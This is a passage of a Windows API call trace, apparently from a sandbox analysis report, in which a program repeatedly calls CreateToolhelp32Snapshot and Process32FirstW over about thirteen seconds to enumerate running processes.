th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.478] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0190.480] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.643] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0190.676] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.845] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x260 [0190.847] Process32FirstW (in: hSnapshot=0x260, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.005] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0191.007] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.197] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0191.200] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.393] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0191.412] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.575] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0191.577] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.781] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0191.784] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0192.031] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0192.064] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0192.259] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x260 [0192.262] Process32FirstW (in: hSnapshot=0x260, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0192.417] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x260 [0192.420] Process32FirstW (in: hSnapshot=0x260, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0192.606] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0192.611] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0192.764] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0192.767] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0192.967] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0192.982] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0193.176] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0193.188] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0193.345] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0193.356] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0193.534] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x260 [0193.537] Process32FirstW (in: hSnapshot=0x260, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0193.696] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0193.700] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0193.915] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0193.918] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0194.091] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0194.093] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0194.252] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0194.254] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0194.444] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0194.447] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0194.652] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0194.654] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0194.831] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0194.842] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0195.028] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0195.052] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0195.265] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0195.268] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0195.473] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0195.477] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0195.639] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0195.641] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0195.932] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0195.935] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0196.103] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0196.106] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0196.243] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0196.246] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0196.384] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0196.386] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0196.587] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0196.590] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0196.759] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0196.762] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0196.965] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0196.977] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0197.178] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0197.180] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0197.369] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0197.372] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0197.585] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0197.588] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0197.804] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0197.807] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0198.070] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0198.072] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0198.249] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0198.252] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0198.427] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0198.430] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0198.584] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0198.586] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0198.729] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0198.745] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0198.920] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0198.929] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0199.115] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0199.127] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0199.348] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0199.351] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0199.488] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0199.490] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0199.634] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0199.671] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0199.925] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0199.928] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0200.119] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0200.122] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0200.363] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0200.371] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0200.609] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0200.612] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0200.834] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0200.837] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0201.048] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0201.051] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0201.217] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0201.220] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0201.392] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0201.394] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0201.532] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0201.534] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0201.688] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0201.692] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0201.924] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0201.927] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0202.276] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0202.279] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0202.612] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0202.639] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0202.816] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0202.818] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0202.986] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0202.988] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0203.185] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0203.191] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0203.344] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0203.375] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0203.525] CreateToolhelp32Snapshot (dwFlags=0x2, 